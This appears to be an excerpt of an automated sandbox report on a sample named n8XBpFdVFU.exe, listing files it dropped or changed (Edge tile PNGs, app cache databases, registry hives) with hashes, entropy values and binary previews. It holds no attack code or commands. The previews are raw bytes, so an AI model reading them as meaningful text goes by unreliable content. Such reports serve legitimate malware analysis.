Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	2735
Entropy (8bit):	7.933533365123281
Encrypted:	false
SSDEEP:	48:GX+43JNCWKcvFu1gF8lZ74DPOQERUeRzCKbwh2l8YV6bxv9D:6bCdc9uGF8bMq1RUeVCZ2l8YVmvF
MD5:	40C640F79BDEDAB0F79341F194F3D57A
SHA1:	0FA78CDC2CE95242680BE563C6F8D8171DBEF93C
SHA-256:	47773C6169C7A10D8B6CFDA9BBE05A412AE83AB937B8A1511941A5AA6C4CFD46
SHA-512:	B8B7F188C608F1F9BDC8BF0E8FE27DA9AE7B476CA8531D3F39E2FDC7FAA7C99758CBBDEBE39303DD38D239B66F954F024E71790A9952DC2A527A2FE9578F8FA9
Malicious:	false
Preview:	.PNG.....U.w.`.0..Z..J=....2T{..D\|x..)..../;.t....1.@.R,P.k...x.........A....a.h.....y.Y.D...y..r..h..F.iR.P.b....7...M...r.>..9kNm...R....'...%.i..^.....\O._]}.D.i"O....".......\|...(uz^a..&O.m0{...HFT+..U..~.}.....{......vG..s...=.s.`RR..A..l.e.BXI....~-...L..-....T...z.C.3.XK.D../&..C..?cx7...z.J(.H1.E........G.7....@2.f.....:.ey.....io.Z.u..#e.!+...I..Ld..Xnf...dHa.....f..l..b..l.......7....#~(....~.....Fd....H8."...!.p-D.(...x%...6D....z....Q..2.SM..q.#...x.U.u..!..c..{.....b[.H...EUC..9l.:j@.)........C.q&J..X6..p.../..<...._.w.g.4...d.@...eNxD.N.iO..(.I.!.2L<..........x.#{.M_.cU~+.AV.............t.m(%..).]..Jp......'.i..N...{QQ`..;..B.]6..8..D#..H..^S.4.u.....@..".bQJ&.eY.oz,Yg*J.....&...)7.'A{.ZH..:..38.pXF...FG$u...=.0..r..\...l..h.p..IZ.._S5\|..:j..I.u.~.S..lr..4.[..F,5.g...C.J.x.-.]...Un.%..5to.h.I=......O..n.yLN.4g..o...J6.t.Y....H..3...W.j.5...w..+..s#..".....v.I..d.......iK.....G..v.B~2....U3.....3...._.dOI.w....X...Z >...1k>....$_

C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\LocalState\PinnedTiles\38975140460\tinytile.png

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1911
Entropy (8bit):	7.8995544459533376
Encrypted:	false
SSDEEP:	48:oZRFnjrtztE6vX/FMGnJLMGBRmNo0w7u8gHtxpNLxA4eXx/D:SRFndztH/SAJwqmNdwsCl
MD5:	F688CE8F192E756733B5A86C1C924A22
SHA1:	612B608E32DEF3C4A157792C56CA3E89D6A65650
SHA-256:	7FF41CC43D6E1539736054A040E496A6309015F409C8B1A7E7EB6C612277777B
SHA-512:	CA4EC0BF9FEF93B8DA5CB208111D7D580FDFD8A8CA0F6174AC02FB388765F2EF5C28DB1D94D1F1D0B1BFEEA047ED23A516191ECB30F6239400AF683A3BB008F2
Malicious:	false
Preview:	.PNG...._.a......=..$@(..[...s.40........%..X...6<.V.......[.D.c.V.<.../....[......Y.s:! <}.... .........5.).l.l./..c..M....IDN^.....~h.5-f..V..d.3'.J..OD.R...u..b.).na)../....v/e..-.HU.5>;V.Q..:.i...FI..i.........n!..'....`9gG..)6.._..&.Hb....`_}.....[.f..k...}F&.X...-LC.L.2.v..l.t.".....`..jB.d.>..4..^...VM(..%.....R....t..i....5..).....}nF...t..2v,y.y...X..s...k...A.h.W....%.6.M_.....t....V....e.x#;.x....#!4ns.gh.x.N{....._`1...^.T$+....!...q..w...\.B......kM..gu.l.QT,]...._{...k.....?.......4.zK...s.)..v..M?B.zk..".d.".~o...7..oL...E..T.1^!......D..hR.=.r..M...I.EX9.....[.........x ...Q...<6I..=z......8...\....tv.].....tn...e.H!5....M.~..q....~$]-...s.......{[..;..Fo.f....j.$.C.....N.gB.I..e..............r..9.....bo5..rPqm.:59...9&f.Ky........rS.?..g.S...q.i.J.I.#.6.`d.).9N*.2.<..osHe..'.\|2.............r.+3m..S)..Z....&.<........O.=fiC....$.....U.a..03>&....d. l.....#LE?P.,4... ......v'.B..P...im.1ymR.. ..\|q....eKltK..&....I.K

C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\LocalState\PinnedTiles\6501008900\squaretile.png

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1887
Entropy (8bit):	7.896206201330048
Encrypted:	false
SSDEEP:	48:ExTwrD9g5nHHNa+TOKwWAsUUFyq/XcOaaAKjr+aMqkxEjbFs7D:ERwrhCHDqgAsl7fcR8qPxEjps3
MD5:	E027871FBBF2B9DC19404CF3D3F22DC5
SHA1:	5C4A19FC8C4B408B8BE41C94C7AE72E1397E7C43
SHA-256:	6353388CC11216D58C19937C7173809D05BEFFFAAA54CFE4C18F81E29E68AA39
SHA-512:	A8814141D7D929CB995C6FC6082EBA8FB091AA42138929A11D9F69B326A1EAEA8FE49514C1002FB6E301A7D261B1D970D3DA491CF731FA11B546FE5072FBFD2E
Malicious:	false
Preview:	.PNG.Q..........+...ybO.\...]..7.19..]...EAT.....P.%.xB.s$}.8..k4.?.!....I...........s!..P?..#.0..i.Ia-....w..4..;0.M..?&..y..K.t....m.a.......y.([.W....Uu.u...T.r...3.\y;...U.63..6\...R.]SD...O...+...E..fSf>..8Kk...}3....F....w0..:.f_$.z...O.H..Gx..R.a.I...WP1.[..6..J0..e....A.h.x....JWF.B...+...j.4.2..fN..y.H.G..3.x...........e22.o........S4.......'.S.......!.....[.$(.l..f.).!UYgv...B6.........9.f....^...#......91c.5....nP[..x..A.0......M.2....)a^HF.+{..&...g..i\..;_}...L......7xC".....(.%E)?`<....:((...s....~ZB....<3H..[F+..............Sd...e..>%q4..6.....:...3jP)\......ih.....U.$..=..R{....4..(.ze..#..W"..vM.-..c..X.J;...f? ....7.e..g.t....!.$...,........a?#..(....>. ..2.O.....gu........wT..-;....q....T...&J>.......^...4A.s..h.....E....".}@.11). 4..p...N`t_.%Z....1.@..M.t..-.P..W...k...w%..%s"....KV.......mU;e.}K...s..V.4z.zDT%......$...y_.. /.{..u..=/.nS.....cR...kZ ^.Q2.,...E.0.%.\|..n.C.z''F[a;Q.'.L...S+y...dm+~kNU.!'0..].

C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\LocalState\PinnedTiles\6501008900\tinytile.png

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1447
Entropy (8bit):	7.870151815616114
Encrypted:	false
SSDEEP:	24:gIZc0SayVbtiRNKHjJxb05OJtHRZz9sIY+at0SC6TXPXY+W0BqMcljxbD:gIFCECHjJFLtx5dut0kTXPYyq5ljhD
MD5:	287AEA3E5443F508F76842814EAA3F99
SHA1:	BA3A13BA34E7D52F58F163B2922D79300D45DB19
SHA-256:	F88DAD73B48A49797CC94DC346FE3707DAA1F5CBB09F28C497499BD4C491C1C1
SHA-512:	00501823386383A15E41E31BD5943EFFACC562F6316EBA9BC80EDD14F5D3DEB34F64B0FC9CA2F4DFF685B47D1A4D7971D5E87DB7706D18BEFB130C21EC1FA391
Malicious:	false
Preview:	.PNG..0.#.,.<..rA...sn......<.....}p.W.6.tP..f_F......oH...E....+..M'.........P-.h.Q./..T.....]...G......ax#!v....5....-.s4....mY..L...:.^.T..;A..:.8.84.q@...Y.;.p.ez...I.Q._..N.".H3:.0y....d..umB.o.8N,N.C..O.+../.j.2.-.GU.u.3o....J..Y,.....L.....?...3...h.......0...\z4.?....c.@..R..C.Y..#m..%.....V.S..`.k....dfa{....Rl.........sef..y.~(...+..m.4......=wu ..4..Hd2...-.N..\|$..&..{.....&.z(K.+.@.\|.Q..^......;...'......*...F.A.DY......~.;..>...'...{...-$2..{.n...5....O..3.oH.~....'B&-.].c\|.t.\.r1.&.`...$?.Z...<.\.......].R...h....Nw......A.8../:...........AV..D..o.o.y@G&1uy......!...R...C~....M...7}.Z.x.AU.,.}Xz../....)(.'.....;quj...@..n....d..B...X.@..K..r.\...\|H.q...1.Tp.z.NR..d.E.......5...np..2..~.7.d]/..&y....p..c..m9.......TOqoX......9.f:..H..6tg..6p.....u.....{.....u.u.E..c...l=.hV.U..KT..F...l.....q.0(j..........L...a.........)......+..e..Rj..N..M..z7..H...u.....]..k.#.h..9\|...........B..Y#..C.E;..;r...#..)...IB.^..fx.k

C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\LocalState\PinnedTiles\7603651830\squaretile.png

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1783
Entropy (8bit):	7.897997592789222
Encrypted:	false
SSDEEP:	48:Z8rk+/dMaKE3AaQA8H8EJsx1bHtmInwFs6pD:+Q+/Z3LgtUjmkeB
MD5:	4FF3C5D3A2D751CAB7A9D2B58AE5F1A8
SHA1:	585F57E593B7F841E97EC1D209C2DB0F5AD38AAF
SHA-256:	8E7654026765CFBE03EDE9FC47DA76BB86ECDC8133F8C895C1C250036F509F16
SHA-512:	C492D2B54150641DED906C157BB93001B9CF08B150230480C0EFB9E921D3C136ED35679C4C4C58DF1DA8E913D11F1CE5E223CE35046400FFFB522E2A0F702FDF
Malicious:	false
Preview:	.PNG...5-...NZ..R...t.e..3c.nZ'.q..7..S..8%B..Y.Z.3l.]r4..\|.:.......i......SM>..>.1.1..bb..._......b"..^....e.r...+...9B..........T....z....Z..L.....q7..s........_)&..R.O.........I..g...^J../As. 5...<n}.jYt.......0.....(..9...,h..g9W.5..UK..f..2.Hs1{..2."k.fm..._.c%A....Do.V`..(.B ..1.......V]7../0..$..O...!h..\-~..(@.l(..N..:.G.N...._..<.....{9&4.....A.._.L.E. /....[.7.........<c.M.6..[m.Y.Wj.7....=.le.+)E........q..'..^..2....6......sj}.B.....V..#!`+.0.....D.s..>ort..O..w.....;....".. A....g...6..)//....j..f!..R....j....4..]......y....o....r...\|..Rd;P...j...'!....D...@..7\|N.b._.-$^V.>.....6.+Qp}.zA.[T..@z.,...O.Q..e.(%+..e..N.a+Q.J......=..b.r..&.2...8..........,.K%.{../G....^"W1......{B"..s...l....J..../...2......B..I......\|c..Bc.....joH^.D.,pp...J....]........$.o..u(f..p.].a.^Jj...V..$b..z..iS....r...".^....]I.s..b.j.".<.l....=H..3.z../b..._... ....J-..c]....J!.......(....".+.p..x....u>.....a.p?.....^i>...CF{.....8.CD.p9#.......4..

C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\LocalState\PinnedTiles\7603651830\tinytile.png

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1394
Entropy (8bit):	7.857624254195052
Encrypted:	false
SSDEEP:	24:t6YqmnAikebIRNOV2XBVHJQJV0cN5qBG51p6RUnJlwPD/JSirf8GFJdIoeBObD:t6YqsjWAVgHJQXBbQuL6yJlw7JSir/+a
MD5:	6775AF8856594A85A412FB6CEAF804F4
SHA1:	FB7D922D1E0191F2D976B9A794F9062029D874F7
SHA-256:	F26D1F3510C6DF942170A27C572AB94E9055B1D839CDF6EC1C0701AEC8DA4FBE
SHA-512:	2A27656B8334E97A1088D68D5D25815E549E8B8D9CB0234CE364ED1E3F710B4DFF649D8A5F5D9BBC464FDEA2D0C596E1C41E90A986EDC15319F54AC44030F65E
Malicious:	false
Preview:	.PNG..R8p.......SY ...(.U..9..N+..g1...s+.j.sYwUC...lj.<h...B.5.......5......7.....e}.O-..[fq}Q.........E.WgP.,H8.........6C......-$.v........x^...):.x7zp...r..'......a..P\|..vp..\..J....5...k6..l..7..K....b..Wc...g.".I&.....WEi..KDX.;oa.B.;.T.,.nm.........q0v......b.t......>...dOF.;.Q..uL..]...EY}...RO..\|.s.pu......1.OTJ...+R...\.g.T.....o..N..I.avws..1$..Pz..,.....1mq....^...9@...b...W.4.......du..)...Ms.....o.i..........2..u...Ps".<.....)iU.>......qv.x...G@........A}..{.K.'S'U.k..5t...... .8.~ju%.....6..`v..K....(..T.7^R,.\|g..\|...pz.FT..n...R]GE.y....Z&.1[....q...V..B.F}.P...H.Z#.&..o.nk*....0w.X&O..f^....85tx.Kq..\....Z;......g.~?.b..-......T..em.FR.\|3....P.M.-V..:....y+...O...n...r.....u..u.8..3...),}...NP>.:....IQ..2.MjM.....w4MCx..?...._n.}..4..tX.0..C..)7w..-..."j.q....W$.Dw.D=.'.U.f.\.?..fZF}c.'.[.:./.z....X ..... .....Rg#...>...T.`.7.k..x.T..Z.@.y.o..8.......'.......B....B...'..x5.....A\......w)..."OYd.Q.RJ.e...65..y.gI..\|

C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\AppData\CacheStorage\CacheStorage.edb

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1573198
Entropy (8bit):	1.386417302252031
Encrypted:	false
SSDEEP:	3072:/q+YD1ST7jjjndGcaqwJBpXxdsWF5Kg9iEIASrNBwQhQ9cINCluA2wayZRuQayZt:yXAdaHLU8wmiEIAAKQa+INClub4Bt
MD5:	5B1E040292314820474697910D2194FE
SHA1:	7517B903CC9B8D37423C1EB6152F09E72F0BCA88
SHA-256:	16E4BAB3FC8D86F4D756F888379B0722815F2A9641DA50DB0D528E2DB3B8C8D0
SHA-512:	B46EF6E039BEF04F4EC513B2DD1FB423F4E42EEC3C50DDEE9677A3F025DCB1696F62C417746EB5942DA733EFADA584DE4CA1977DDD78A67B641F166B1A9DDF3A
Malicious:	false
Preview:	o......J.u..P..a..>...c.....OU2..t...C.......e~..e}[........mYr.h...D.0B.-..7R.}..o>5.[(...~ s.4!9..E.......$.g..%>......6%5...#..=5n..\|...9.,.d....j?.. ..._.tL..h.c....6.$>.......!M..N..c..B.....w.......x....V......es..q8.S....D<#fr.'.6..-.]K...$y7........f.X.....VW..Hb.....t.-{...}...s...g^R.+tk.B.0.v.pBB..RE...g..ko.W........}.....Gt...e.F?..2..7....fe.#....NF.....c-....v.P6#q....h..E..b.@.I.M..Q:..1K...i..[@..RW.....x..~o.$yTIa......VDNP:...h...0.9p......u...\|_-.>...j0u..kZ .....}..@..P..J;_.x.m......#.#sE.....Dd..{.;a...lb....F..NKIp......+.dlq.7...o..s..Q..M8@:A..).y.X.#....T..VV.......N.d.!{.7..55..<[...u..p..bk....p.D..j.3$9@.?.....2.................qAg...O.;e..M..........vA.{.A.....P.EE....H\...-.<."lH....,.F .w9......[9..F.$..+%j".Owa....5...:...&....I.j......d.~.@2.......N...P.6v.M9&d}.v........3......=.wn...Sa!X.v#X.^.4.,T..=...l.ZtGU.iJ&....v.m+B....1......'(4.F.........J)..e.v..r.U@....U~FK$u....8...jhAp..c..6yN;..4.....E....t....

C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\AppData\CacheStorage\CacheStorage.jfm

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	16718
Entropy (8bit):	7.988620775421019
Encrypted:	false
SSDEEP:	384:zvRS0Nxat0en5OgWzjyojZHNqby6z7X+bpe03oiwe:LRS0XQ0eAgWao1NsNPX+bpeWBwe
MD5:	24704B2F3D588CEA82169952C70F01F5
SHA1:	D4563DBA72E243562674C992A8AEF488C234ADE6
SHA-256:	A91AE42B99EA69743361B50C66038EE37403447DF86B66C5F638E5E403D5BDEE
SHA-512:	CB137C0F4AB8BAB8A4EA62C4F9E1EED2E84DF28CE4F48B7D748760685269E5213BD59CC194EA6DEFBC5B1974053BB49B02045E58BE8DB596F71F03B7EE1E7569
Malicious:	false
Preview:	......4.!.+.......@p.d-u$v.j.Gf......{5p.p.'(aJe....@w.2.e_<..8......Km....T.BV.nem...5K.m..g...h.$<...>5...=.T.E...7.g.t........$W.O...{...z8K.cO.".r...b..<Y..#p#I..\|../.....3...g...M..P..~-:.`..G.i.KZp>K.8..$.=........9.......5+....w(.~".n.!..].i..C.......k...f7..)G.6.S_.y.'..(yt.e(.5._cX..pH.R..@.y..zV9o..\.I....T../.!.Z.T....7oh..8.Mb..Y!.[....+......$...Ry.p...l.f.J..F..L...I......oe.v..8...>.S...^.C.H]@..,..WpUj..z,<.....3Co.G.Wg~.!r<.'Ks..o.Rp...^.Z.c.NJ.r..yZy........F........C.."..@....ou.x_.....c5.w_PW.%:..?.........j..)t...T./kCn.8..'9.&......{.<.....".Gl.g..f...>(w.[.J.X..%/...+2.6..J1...}88..i...sb.k.6.c...]f<d.&..E.`..Z..S..h...i..R)..^....>0].q#..?.j:S.......7. .1.H]X...%.ordP..6....<.=..h...(..8%........<..v.4[..-.r>.eA.yN.9u[.l...'....g....YO~.Z.g#.m...<....-.....1F.ET.Z...o..A.o... h.=........Y.!..H..oDg....i..".!c.X.yM).....p9.\.....y......OO.#.YVO...#=.9.n...`.......p/.~'....n..._.~.E.+b...,.r.....Z...@.IY..Hc..m

C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\SystemAppData\Helium\User.dat

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.975192816789125
Encrypted:	false
SSDEEP:	192:opHNiVH2FLg6a79NvTotaSRp35GrVry8bi+0r/2bJ8T:yHxyXTot9Rp35Qlbi+0zp
MD5:	293E0677FC9AEFF07BFFF6FDE6634C9C
SHA1:	696942455A87B80CD65066C33D177F725DF9B4D8
SHA-256:	331C5D548D8257E04238A267C1A22C1106F5903B93ED5D80351B6B1C1D5F95E5
SHA-512:	0FEBB7906E4601307D664FB575A173EAB390BC968B6EF7F2750A5E9C50E7CE471E7BA25B4D586349FE0D9807E4BC3A09DBB328E7190A8FDC7D02D9206086EB5E
Malicious:	false
Preview:	regf.%.h.t$......"..P.$k.M....W].....:......A&.]b.'C......V^I.....{E....Q.....Z,.......3w....7.........~Y.i.y.r.&.x.t...&7..&P..n.Q...V.A..3.{4A.)}...!..+....B.J..W%s........1)AK.P9.'.u\.K..S%...e.zJ..... \.dy~.d.>.r..%.....v5.I..._.......M...........$.Z..h2=J.....u.....<.]LT.....T."......W*-..y...G.p/...U.6.=a..}...g.q5.(.....T.....Fj:..b..Y.]`.s..!(..4z{.".x....=......cba,..h#.e..q...=.......k......E..5p...t...q.......f...\%.r.D....'.6.Bu.y/o.\|...hy}#.o":3......nkm).8.u..O{q.......J.=..x&L.d.L........F...<~5k..n.a...q.J..!P..PaA..e...MD.B!C..u........5..7..n....._....!.........)b.^.g^..........O6}.1n.O.g\|2.n>P.w.".'.z....dY/%.rd.!Q...:.Yn......z....&.w.XTE:..O}?g......o.X......r..7.0.@....a.l.H]:xo.lA~.[4.C.D.{/.njR..S.).. ......!xB...r.R5M...Pk.d...R$.#...$E.......im..<.B.N..%..M.7...[.....{Jmqw.z. ......Z\|.n.... ..z@Z...>./.U.r...[..U...=.)&o.p..e.H.4..!....ZB.4?...nq..o...~3..L+.-.._..\|..9I+..\..'S...o...eE...9w.F.W.X.......O...(B.rQ.

C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\SystemAppData\Helium\User.dat.LOG1

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.979469146048264
Encrypted:	false
SSDEEP:	192:nWzy6Kr20OMfG2sy1ZxZKMeiynpFaHLu+bkYNWxzH:WpI2CGXkcnpFaHLu8kYw
MD5:	E2ED77DED05F9EC718841E5CC874C3B1
SHA1:	558C3EF6D1EA036DE216E8F773BF9E909B09920D
SHA-256:	AB640F418E0FD378E85D990B1C495D144F5EE35F3AAD3ADAA639A637286B9B6D
SHA-512:	2AF94E1F70BF352521B0DABC84B8C6276545A0C9A3B00FE992392712749E369DE0E26402CDA5AD36DF56E74069A9CD2043554B1C12CEED3F7B5E4946D468CA0A
Malicious:	false
Preview:	regf.T.......t..!.4...'.J..i9...............}Bg..d3S..zg .wh..;..E76.D.ohq..%G...z..(/.A....lf...n...5._.M...l. T.8......4P..!.....}F.s...(........y....x....t.b.....Ic.....k n....vwZ.XIn\.:....y[S....'U.,o_.....`O.....u...6..-.JG..3.`.._.."?...vX.NC...G.} ..J.Z-DM...^\.....i^.q.T.Me........5..S.$TQ1..X......^h.I..W.E.57R..i.X..A...o.Jck....d.n->1...R{&...L6)0.........e!..J7^..........gR3....}.K&...5..7...~..o`.wUF.E.e.R.V.A..?..lI..@.Y-.@.B....."N.....>.\..q..X.......5..:.Ss-..y.._.....h>~J./.U.....#..D....yi ......"...#..).n.Qd.wP$. ..(..SXW.1].\|g. ...... .....+u.h..Sv.....(u....3..^T....^..nG..4=9.o..##.qo....`....Y..b.&...E.`#...A...!@..P.A.....5p...H8P!..v..t..M.."T..B..0.../.........T.n......v:x..px.2R.o..`..H.q.yD....Zu.].o.R...M...}W.[..[.x....M....D..C.T..f..Y...TZ...q.U.#.8=5.)N......L..`s4.^.X.....]9...=..l:..2=.P6.O..B"".......P7u..Q4....P<....<..\|...~.&.O.{.....K....=..dP.QE..@Tbm..^..V..'..u2s.R.[...V.q.

C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\SystemAppData\Helium\User.dat.LOG2

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.976710088823662
Encrypted:	false
SSDEEP:	192:9beSCEQOhivHQilVLgUXpNIByrmjtGVzmCC:9KbOmwilVLejSmb
MD5:	929129007F1ED183588C23DA829307E9
SHA1:	401922B076658F7D01C5FAB18605171EEC4F73E6
SHA-256:	9CF93BB6C08887C4194158BE6AA5F8453541859DCC6AEA8FA91671F1ABE94671
SHA-512:	ECC2C5D1AC227D95BB49927DBF38B11A95E7ED3225039D0B027222C26AB99B594AFA330D8DCD0CE4A0AE8C98EE6CDB36435E68F6D0AF1D519F61A1E2923D062D
Malicious:	false
Preview:	regf.....E...o.G........:....BD~...S`Z..H.%q....{O.y.......F.z.]..'..1...P1>~..%.i@..D.........&.m.A.J.,X0.FS5.....3.R%..[...^.7....t.]7.,%.U.\|.Ys.].E...q.5...q..s.:1./c.F9.."...fY.T.....$].K.MEK.......3O.P..\|.....N..U...A..3.2...l.`......l.:....Al......jg...(.....T..W..N .L.9..CG.y.......1..T2..-.g1.6.?.Lxd...X[..JqJ.q......}.M+P..y..)....l...F.U.P3-\|.0..oKP.:......)A$xdhR.Z...(.^E..giR.n<.9U...n.7w.h..e.oa....J.J.H.$.Z......=.O?m...F."6d...~..o.Vw!.....,.8...-.....F..H.....c#F].....0,....E..@...V....d....c.J65.z./..!H2.s.^fX.n..;8.N{....q....O..@....U..sj..3...f...E\.....x...kk...S.]......e...Q!.....)....H.b?H.C.UX?._.q.hEW...]....".#g.,..:/....!..4..WP...O..0.l(....\J8=.T#f...ff....L...;..6..tB3....,.&.U.9.../...R'..0.....z.......7/m.~l......M"t...Ey...R9............G.f.<...t. ....'.\|..g..N.c.....p....>E.s.\..7...t.8.T^@.....\Q`...i.g.9.!..{1...a.RmO.Vk..N'Y..3...=...y<U...<I..&.D..~Y.......&.....0...k..3....d.dK...r.

C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\SystemAppData\Helium\UserClasses.dat

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.9736469672899135
Encrypted:	false
SSDEEP:	192:2Xo2PtU7AhjaSgDEbRaERwhSCz4zM7mOXZEutGRHt7DB:2XpPOqXfbREAEZEutGht7V
MD5:	E05F4179EC4E6AA5139F4148A6F920A7
SHA1:	388B5E466D9F1475A58C1DE9A402C0423516DD46
SHA-256:	60788501F943C6D7D7957D9F9A8957F75A2B2B0E0E37C43AD99E51BEFDC36F27
SHA-512:	9529D3BB9A47B905B8CBEA9FC338694265125CEDA1279086CA35AF23F88670ECFE68F8D31B906FE7BEE0A98D9D88FE3F34EC17755A121C7261919CC728A42A35
Malicious:	false
Preview:	regf........x...}V...8.._..G.?O.e.....hA.&.=...2.y5'1..0..q..a0....HX....;.#0i..J.u...ZGf..&.Cf...0b.! .... }.L`...Y.h.u...)q..7.x..~&"6N.v....#@....hj.......z..<K.zf..J....Y .;..9...Iu.G.'.2.1.>....-.$E.....Z....n.sJ.....Z.OF#.A.....&.v..#b.......c`....9.$......!.Z .^1../..(.'....1.x..5iC......lNz8/.......c? ....5wY._3H...P.ZN}.....=..S.b...b%...4^7h.iTD..y..#.:'4..0[Z".p({.q.\.d.d.@It:.pH....DLm.4}...NYe<..b.#.....e..9.t;u=E.....A...s...7.'.%..n@.7B...` .u.~.2zh.=.0..j.3....k............C........c..Z....d...U...j.Ga..)g;0l.G_f.a.\|K((S....U7....0.5...@/....U..T...9s..A...Ypc..6...)..@X.Q..o.b-.V.(\S.j @...hS......6@.c.Aq@.xzA....b...5..)..y;...{..;m.PH..;x.......)..E[.Q\Cx...........v;9.T.lz.=o."..R.}.i<.>xd?v..X1......\|z6../..<...9;+...z<...8. N...._c~-..d......).c5..Y.-...Mn`......T~V...".....3.Sh^..........g.;..y#..s.; ..2x....8.y..\.<.6`I)U.[..E..)............AQ.o...1?;)._.......C.C..X.Z\....x.......w...t/J.=..&@HJ..^7...(..A

C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\SystemAppData\Helium\UserClasses.dat.LOG1

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.977743020071843
Encrypted:	false
SSDEEP:	192:sKHz9ngEqLp8tdOmNi+Uif4/kvQoBUnaMSK5JU6Dk441:761mTfg+Uig/kViDSK5JnQ
MD5:	10522F53FA099D2AA69E21232A735247
SHA1:	D356752DA27D96AAB3CB0EB6AB0EA691E145D057
SHA-256:	27FDA6F5323E6FBF94B0C0E9C8EF5E6F33CD76AEC79F9F13B4C66E8BE291D8D1
SHA-512:	A39BEF0A1EC8FC3289A621D4BB17F2D7170A99D09535E42F13A6C7C137FCBB8C44880DD3DDE6F48834E483AADE24C4CE7EFA382101DDDADD9D706B4274217A06
Malicious:	false
Preview:	regf.H..o....!E..P..%.3..{...a..7...-H........b....jJ.b.c.`...v...]..r..0Fg...E{18..z-O.j.. ..)...;Z..k).B..Z@....z......h..e.F...Vd..f.<..!.Nk&J....I#P%...G...^.h..=.I..W4...fwk.i....5dxz\C.O...m.m.}.u.p.....\UL.x..`..'....d.S..u....e[.@t.....\.X,.P.........tB.....q......i+....l..\.ozy.@.c.0..G..}.D..b{$.hp.Ig.?\......B.....:..%.g.."X....V..y.t...........8P\.bn..V.v.........>.0s..C.{..X.m.>.^.v..7.......J...~.M..06wcQ7..l.ri........HB]A..7v.y.e...=.H.9.W....\|..4..........V.30y.....{........S.xq~......d..T.Y.]}.....b;..q.{.M..q..NP~W.6~....;..EC[...dd.N....\|9.O.M..4...J...4N..L.mr.i.B...?w...1.Wz..v...&..{.kQ.8T......).nN........J...'v.b@...MJ.....o.....z.s.Y.QGM.........+..b...}.Q.e.T>.9_..K.%g...4.a..h...D...[.. ......66.8...H< N...J.._.G......(U..%....f.a.../.]92s...:..Q...!..c\.c''....-..IQ..F]q..t..5...p...d.dU..A{.q.7~...3.(#}....wu8..bKUC!.r..8>....O.../....'...R.......{....G.A..$....s.H......O....z......c....vT....u.

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.CloudExperienceHost_cw5n1h2txyewy\AppData\CacheStorage\CacheStorage.edb

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1573198
Entropy (8bit):	1.3305556182262608
Encrypted:	false
SSDEEP:	3072:EXQv9m2wxzeIVUXpmBpaRwlOscAlPmyKsX2kgHSkPEBmlaJ0aZ:EXo9EiIGXQgRwX5R+0QHlPEBmm
MD5:	8E1C45593F7065087D27D7CC6DF430B2
SHA1:	E03495076673653F61DE896425E8B0B6DBEC378A
SHA-256:	C919D226E9D789F7B761200CAFB0502E052CD337BEA5CDA54588AEF515A4C621
SHA-512:	1DA4D82136F80AA0ABAD0726D9D53A9861BB88F3D62AB8935837490010E386E62128D09951E6F95D1D340A9B529EB36CA19035D722E78A71EC1ED6FD3B0999B7
Malicious:	false
